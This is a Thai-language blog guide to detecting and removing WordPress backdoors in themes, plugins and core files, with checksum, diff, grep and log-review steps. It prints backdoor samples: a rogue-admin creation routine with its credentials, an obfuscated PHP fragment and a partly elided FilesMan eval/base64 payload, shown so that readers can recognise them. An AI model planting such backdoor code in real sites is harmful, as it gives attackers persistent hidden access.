ประตูหลัง WordPress คืออะไร?
ประตูหลัง WordPress คือโค้ดที่อนุญาตให้ผู้โจมตีเข้าถึงเซิร์ฟเวอร์โดยไม่ได้รับอนุญาตและอย่างต่อเนื่อง บ่อยครั้งเป็นไฟล์อันตรายที่ซ่อนอยู่ที่ไหนที่หนึ่ง หรือบางครั้งอาจเป็นปลั๊กอินที่ติดเชื้อ รูปแบบใหม่ของการแฮกประตูหลัง WordPress พบได้ทุกเดือน
แฮกเกอร์คอยพยายามฉีดประตูหลัง WordPress ตลอดเวลา มีปลั๊กอินหลายตัวตลอดหลายปีที่ถูกใช้แพร่เชื้อ ดังนั้นภัยคุกคามอาจมาจุดไหนก็ได้ ภายหลังการกำจัดประตูหลัง WordPress อาจใช้เวลาและทรัพยากรมาก แต่การป้องกันล่วงหน้าสามารถควบคุมความเสียหายได้ เว็บไซต์ WordPress ที่ปลอดภัยสามารถล่าช้าการโจมตีได้หากไม่สามารถป้องกันสิ้นเชิง เราจะดูรายละเอียดเพิ่มเติมเกี่ยวกับการค้นหาและแก้ไขประตูหลัง WordPress ในบล็อกนี้
สาเหตุของการแฮกประตูหลัง WordPress
การตั้งค่าเว็บไซต์ WordPress ค่อนข้างง่าย แต่มีหลายช่องโหว่ที่เปิดโอกาสให้เกิดประตูหลัง WordPress เพื่อความเข้าใจง่าย เราสรุปสาเหตุหลักๆ ดังนี้:
- บางครั้งอาจมาจากปลั๊กอินหรือธีมที่มีบั๊ก
- ข้อมูลเข้าสู่ระบบเว็บไซต์ของคุณอ่อนแอหรือเป็นค่าเริ่มต้น
- สิทธิ์ไฟล์อ่อนแอ ทำให้ไฟล์ละเอียดอ่อนถูกเปิดเผย
- ไม่ได้ใช้ไrewall หรือโซลูชันความปลอดภัยใดๆ
- การติดตั้งเก่าเกินไป
- แชร์เซิร์ฟเวอร์ที่ติดเชื้อกับเว็บไซต์อื่นๆ ขอให้ผู้ให้บริการทำ subnetting
คู่มือที่เกี่ยวข้อง – คู่มือฉบับสมบูรณ์ขั้นตอนต่อขั้นตอนสำหรับความปลอดภัย WordPress (ลดความเสี่ยงการถูกแฮกลง 90%)
การค้นหาประตูหลัง WordPress
การค้นหาประตูหลัง WordPress ในธีม
ธีมที่ไม่ได้ใช้งานเป็นสถานที่ที่ดีที่สุดสำหรับซ่อนประตูหลัง WordPress แฮกเกอร์รู้เรื่องนี้และมักค้นหาธีมประเภทนี้บนเว็บไซต์ของคุณ เพราะคุณไม่น่าจะตรวจสอบที่นั่นเพราะมันไม่ได้ใช้งาน ธีม WP มีไฟล์สำคัญชื่อ functions.php ไฟล์นี้รับผิดชอบ การเรียกใช้ PHP ต้นฉบับ WordPress และฟังก์ชันอื่นๆ อย่างง่ายคือสามารถใช้ทำการดำเนินการใดๆ ได้ บ่อยครั้งผู้โจมตีพยายามฉีดไฟล์นี้เพื่อให้ได้ประตูหลัง WordPress ตัวอย่างหนึ่งแสดงในภาพด้านล่าง
โค้ดอันตรายนี้อยู่ในไฟล์ functions.php จะถูกทริกเกอร์เมื่อผู้โจมตีเข้าเยี่ยม URL: www.yoursite.com/wp-includes/registration.php ฟังก์ชันนี้จะสร้างผู้ใช้ใหม่พร้อม
id: backdooradmin
password: Pa55W0rd.
ดังนั้น แม้คุณจะลบผู้ใช้นี้ออก มันก็สามารถสร้างใหม่ได้อีกโดยการเข้าเยี่ยม URL นี้ นี่เป็นตัวอย่างทั่วไปของประตูหลัง WordPress อย่างไรก็ตาม โค้ดนี้สามารถฉีดได้ก็ต่อเมื่อได้เข้าถึงเซิร์ฟเวอร์ก่อน อาจเป็นผ่านพอร์ต FTP ที่เปิดอยู่หรือช่องโหว่อื่นๆ
การค้นหาประตูหลัง WordPress ในปลั๊กอิน
การแฮกประตูหลัง WordPress บ่อยครั้งมาจากปลั๊กอินที่มีบั๊ก มีปลั๊กอินหลายตัวที่พบบั๊กตลอดหลายปี ปีนี้ล่าสุดคือ Contact Form 7 มีผู้ใช้งานใช้อยู่กว่า 5 ล้านคน ในทางกลับกัน บั๊กนำไปสู่การเพิ่มสิทธิ์ (privilege escalation) เมื่อไฟล์ปลั๊กอินถูกแก้ไข อาจไม่เห็นได้บนแดชบอร์ด แต่การค้นหาผ่าน FTP อาจเปิดเผยไฟล์ดังกล่าว เพื่อทำให้ดูเหมือนถูกต้อง ไฟล์ประตูหลังมักถูกตั้งชื่อเป็นไฟล์ช่วยเหลือ (help files) สาเหตุที่ประตูหลังพบในปลั๊กอิน ได้แก่:
- ปลั๊กอินที่ไม่ได้ใช้งาน มีโอกาสติดเชื้อมากกว่า เพราะสามารถซ่อนประตูหลังได้นาน
- ปลั๊กอินที่ไม่น่าเชื่อถือและไม่คุ้นเคย มักเขียนโค้ดแย่ เพิ่มโอกาสการแฮกประตูหลัง WordPress
- ปลั๊กอินเก่าเกินไป น่าจะเป็นเป้าหมายมากกว่า เพราะหลายคนยังใช้งานโดยไม่อัปเดต
- ปลั๊กอินที่มีบั๊กเหล่านี้ช่วยแก้ไขไฟล์หลักอื่นๆ ได้
ดังนั้นจงระวังปลั๊กอินที่ไม่รู้จัก ลบปลั๊กอินที่ไม่ได้ใช้ทั้งหมด!
การค้นหาประตูหลัง WordPress ในไฟล์การติดตั้ง
การแก้ไขไฟล์หลักมาถัดจากหลังปลั๊กอินติดเชื้อ อาจมีโค้ดผิดปกติในไฟล์พื้นฐาน หรือไฟล์ใหม่ปรากฏขึ้น บางครั้งประตูหลังอาจดูเป็นบ้าพลัดแบบนี้:
$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43
โค้ดนี้ถูกทำให้คลุมเครือ (obfuscated) ด้วยเทคนิคที่รู้จัก ทำให้มนุษย์อ่านยาก จงค้นหาโค้ดที่ดูแปลกประหลาดแบบนี้และลบไฟล์ที่มีโค้ดดังกล่าว บางครั้งประตูหลังอาจแปลงเป็นไฟล์ที่ดูถูกต้อง เช่น xml.php, media.php, plugin.php ฯลฯ อย่าข้ามไฟล์ไหนแม้ดูถูกต้องก็ตาม นอกจากนี้ยังมีเทคนิคอื่นทำให้โค้ดอ่านยาก
จงค้นหาคีย์เวิร์ด FilesMan ในไฟล์ของคุณ ตัวอย่างนี้เป็นข้อมูลดัมพ์ของประตูหลังที่มีชื่อเสียง Filesman:02 ประตูหลังนี้ยากต่อการตรวจจับและไม่มองเห็นในล็อก ใช้ขโมยรหัสผ่านและรายละเอียดอื่นๆ
<?php $auth_pass = ""; $color = "#df5"; $default_action = "FilesMan"; $default_charset = "Windows-1251"; preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='x29x29x29x3B","."); ?>
ตัวอย่างเช่น โค้ดในบรรทัดที่ 6 อยู่ในรูปแบบ hex เมื่อแปลงจะกลายเป็นประมาณ: preg_replace("/.*/e","eval(gzinfla\ มีเครื่องมือออนไลน์สำหรับถอดรหัสตัวอักษร hex ใช้มันได้! นอกจากนี้ ผู้โจมตียังซ่อนโค้ดด้วยการเข้ารหัส base64 จงจัดการแบบเดียวกัน คีย์เวิร์ด FilesMan อยู่ในบรรทัดที่ 4 รูปแบบของการติดเชื้อนี้มีคีย์เวิร์ดนี้ บางครั้งโค้ดอาจแทรกแซงไฟล์ละเอียดอ่อนอย่าง .htaccess จงตรวจสอบให้ดี!
วิธีแก้ไขการแฮกประตูหลัง WordPress
การเปรียบเทียบ Checksum
ขั้นตอนแรกคือเปรียบเทียบ checksums เป็นการกำหนดความสมบูรณ์ของไฟล์แบบฮยูริสติก สามารถตรวจสอบด้วยตนเองได้ นอกจากนี้ยังมีเครื่องมืออัตโนมัติฟรีสำหรับวัตถุประสงค์นี้ ไม่ได้เพียงไฟล์หลัก checksums ยังมีสำหรับปลั๊กอินและธีมด้วย คุณยังสามารถสร้างบล็อกลิสต์ส่วนตัวได้ โดยใช้รายการที่พร้อมใช้งานในสาธารณะ หลังจาก checksums ไม่ตรงกัน ให้ดำเนินการลบประตูหลัง WordPress ด้วยตนเอง
ความสมบูรณ์ของไฟล์หลัก
ขั้นที่สอง หลังจากไฟล์แสดงค่า checksum ต่างกัน ให้ตรวจสอบด้วยตนเอง น่าจะเป็นไปได้มากว่า การแฮกประตูหลัง WordPress จะแก้ไขไฟล์ ดังนั้น ความสมบูรณ์ของไฟล์การติดตั้งสามารถตรวจสอบได้ เริ่มต้นด้วยการดาวน์โหลด WordPress ใหม่
$ mkdir WordPress
$ cd WordPress
คำสั่งนี้สร้างไดเรกทอรีชื่อ WordPress และเปลี่ยนไปที่นั่น
$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip
$ tar -zxvf 4.9.8.zip
ตอนนี้ดาวน์โหลด WordPress เวอร์ชันล่าสุด (4.9.8 ในกรณีนี้) โดยใช้บรรทัดแรก บรรทัดที่สองแตกไฟล์ หลังจากทำภารกิจเหล่านี้เสร็จ ขั้นตอนสำคัญมาถึง $ diff -r path/to/your/file.php /Wordpress/wp-cron.php โค้ดนี้เปรียบเทียบความแตกต่างระหว่างสองไฟล์ เนื่องจากประตูหลัง WordPress แก้ไขไฟล์ของคุณ จึงจะแสดงการเปลี่ยนแปลง อย่างไรก็ตาม ไฟล์บางไฟล์เป็นไดนามิก เช่น xmlrpc.php ไฟล์นี้ช่วยให้ผู้ใช้และบริการโต้ตอบกับเว็บไซต์ผ่าน RPC แฮกเกอร์รู้เรื่องและมักพยายามซ่อนประตูหลังที่นี่ จงตรวจสอบอย่างละเอียดเพื่อค้นหาและกำจัดประตูหลัง WordPress
การเข้ารหัส
บางครั้งไฟล์อาจแสดงว่าถูกแก้ไขแต่อ่านไม่เข้าใจ คุณสามารถเริ่มทำความสะอาดการแฮกประตูหลัง WordPress โดยค้นหาการเข้ารหัส base64 ที่นี่คำสั่ง grep ทำได้ดี ใช้คำสั่งต่อไปนี้:
find . -name "*.php" -exec grep "base64"'{}'\; -print &> output.txt
คำสั่งนี้จะรายการการตรวจพบ base64 ทั้งหมดใน output.txt อย่างเรียบร้อย ต่อจากนี้คุณสามารถถอดรหัสเป็นข้อความธรรมดาโดยใช้เครื่องมือออนไลน์ นอกจากนี้ โค้ดอันตรายอาจอยู่ในรูปแบบ hex ด้วย จึงสามารถใช้ grep -Pr "[\x01\x02\x03]" สำหรับการเข้ารหัสคล้ายๆ กันทำซ้ำขั้นตอนนี้ ลบไฟล์หรือบรรทัดโค้ดอันตรายเหล่านี้เพื่อกำจัดประตูหลัง WordPress
การใช้บันทึกเซิร์ฟเวอร์ (Server Logs)
บันทึกเซิร์ฟเวอร์ช่วยกำจัดประตูหลัง WordPress ได้ ขั้นแรก คุณต้องดูว่าไฟล์ไหนถูกแก้ไขหลังวันที่เฉพาะเจาะจง ดู FTP logs เพื่อดู IP ที่ใช้เชื่อมต่อเซิร์ฟเวอร์ ติดตามไฟล์ที่แก้ไขล่าสุด นอกจากนี้จงดูโฟลเดอร์รูปภาพ ไม่คาดหวังว่าจะมีไฟล์รันได้ (executables) ในโฟลเดอร์รูปภาพ เพิ่มเติม โฟลเดอร์รูปภาพอาจเขียนได้ (writable) นั่นคือเหตุที่แฮกเกอร์ชอบซ่อนประตูหลังที่นั่น จงตั้งค่าสิทธิ์ให้เหมาะสมสำหรับไฟล์ละเอียดอ่อน ตั้งสิทธิ์ไฟล์เป็น 444 (r–r–r–) หรืออาจเป็น 440 (r–r—–) ดูเฉพาะการเปลี่ยนแปลงในโฟลเดอร์รูปภาพ
อัปเดตและสำรองข้อมูล
ความสำคัญของการอัปเดตเว็บไซต์ WordPress ได้ถูกเน้นซ้ำแล้ว การติดตั้งที่เก่าเกินไปเหมือนกับติดเชื้อแล้ว
หากคุณไม่สามารถติดตามสาเหตุของการแฮกประตูหลัง WordPress ให้กู้คืนจากสำรองข้อมูล ก็ต่อเมื่อสำรองเว็บไซต์ปัจจุบันแล้ว และเปรียบเทียบสองเวอร์ชัน
หากคุณไม่มีสำรองข้อมูลเดิมและต้องการแทนที่ไฟล์หลัก WordPress ด้วยไฟล์ใหม่ สำหรับนั้น คุณต้องอัปเดตเว็บไซต์ WordPress ด้วยตนเองหลังจากสำรองเว็บไซต์ปัจจุบัน
เพิ่มเติม หากมีการรายงานช่องโหว่กับปลั๊กอินที่คุณใช้ แนะนำให้อัปเดตทันที หากแพทช์ใช้เวลานาน ให้แทนที่ด้วยตัวเลือกอื่น แนะนำให้ติดตามบล็อกทางการเพื่อได้แพทช์เร็วที่สุด
ใช้ WordPress Backdoor Scanner
มนุษย์มีความผิดพลาดได้ การตรวจสอบด้วยตนเองใช้เวลานานและผิดพลาดง่าย อาจทำให้การแฮกประตูหลัง WordPress เกิดซ้ำ ดังนั้นโซลูชันคืออัตโนมัติ มีเครื่องมือขั้นสูงพร้อมใช้ในตลาดวันนี้ สแกนเนอร์เหล่านี้สามารถตรวจจับตำแหน่งประตูหลัง WordPress ที่ซ่อนอยู่และให้ขั้นตอนการกำจัดประตูหลังนั้น